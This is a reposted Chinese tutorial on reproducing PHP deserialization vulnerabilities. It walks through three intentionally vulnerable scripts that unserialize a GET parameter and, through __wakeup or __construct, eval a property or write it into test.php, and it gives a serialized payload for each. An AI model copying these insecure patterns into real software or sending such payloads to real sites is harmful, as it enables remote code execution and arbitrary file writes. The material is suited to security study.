php反序列化漏洞复现 - Go语言中文社区

php反序列化漏洞复现


主干函数

serialize()  //序列化函数
unserialize() //反序列化函数

1.定义:将对象的状态信息转换为可以存储或传输形式的过程(字符串)。将字符传拆分成字符进行传输
序列化的目的是方便数据的传输和存储
2.将拆开的字符拼装成一个完整的

序列化一些字符的含义

a – array 数组
b – boolean 布尔型 
d –  double  双精度型 
i – integer   整型
o – common object 一般对象 
r – reference 
s – string    字符串
C – custom object 自定义对象 
O – class N – null   表示类
R – pointer reference 
U –  unicode string unicode编码的字符串

一些常见的魔术变量(魔术方法)

常见的几个魔法函数:
__construct()当一个对象创建时调用被调用   //构造函数
 
__destruct()当一个对象销毁时被    //析构函数
 
__toString()当一个对象被当作一个字符串使用
 
__sleep() 在对象在被序列化之前运行
 
__wakeup   将在序列化之后立即被调用

反序列化漏洞 一

<?php
class A {
    var $test = "demo";   
    function __wakeup() {
        eval($this->test);  
    }
}
$b = new A();                       //创建对象(将对象实例化)
$c = serialize($b);                 //将对象序列化,赋值给$c
$a = $_GET['test'];                 //通过get传参进来一个值,接受参数的为test
$a_unser = unserialize($a);    //将get传参进来的值进行反序列化
?>
payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

在这里插入图片描述

反序列化漏洞 二

<?php
/*require "test.php";//测试方便 (包含了创建了刚才写入的php文件,相当于直接读取)*/
class A {
    var $test = '123';
    function __wakeup() {
        $fp = fopen("test.php", "w");   //打开test.php文件,如果此文件不存在,会创建一个(w)
        fwrite($fp, $this->test);    //将$this->test内容写入到$fp
        fclose($fp);      //关闭打开的$fp指针文件(因为打开一个文件需要再关闭)
    }
}
$a = new A();                                              //创建一个新对象,实例化对象
print_r(serialize($a));                                         //打印序列化的$a,相当于将对象给实例化
$class1 = $_GET['test'];                                   //get传参进来的值赋给$class1
$class1_unser = unserialize($class1);            //将get传参进来的值,进行反序列化,反序列化时会立即调用魔术变量__wakeup,并且执行创建一个test.php
?>
payload:  ?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

在这里插入图片描述

反序列化漏洞 三

<?php
/*require 'test.php';   */ 
class b {
    function __construct($test) {     //创建一个魔术常量的函数,如果下边有创建对象,会立马调用
        $fp = fopen("test.php", 'w' );  //打开一个test.php文件,如果没有,就会创建
        fwrite($fp, $test);         //将$test的内容写入进$fp中
        fclose($fp);   //关闭$fp指针所在位置
    }
}
class a {      //创建一个类  类名a
    var $test = 123;      //定义一个变量
    function __wakeup() {         //定义一个魔术变量函数,当序列化之后会立马执行里面的内容     
        $obj = new b($this->test);       //实例化一个对象b,给变量$obj,因为i创建了一个对象,会立马调用上边的构造函数__construct(魔术变量)的内容
    }
}
$class = $_GET['test'];      //接受get传参进来的值进行,传递给$class
$class_u = unserialize($class);  //将get传参进来的值进行反序列化,会调用魔术变量__wakeup,会立即执行里面的实例化对象
?>
payload:      ?test=O:1:"A":1:{s:4:"test";s:26:"<?php echo "hello word";?>";}

由于我们实例二给创建了一个test.php文件,我们换另一种写入的内容,然后在观察是创建了,还是直接写入
在这里插入图片描述

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_46527080/article/details/112282922
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢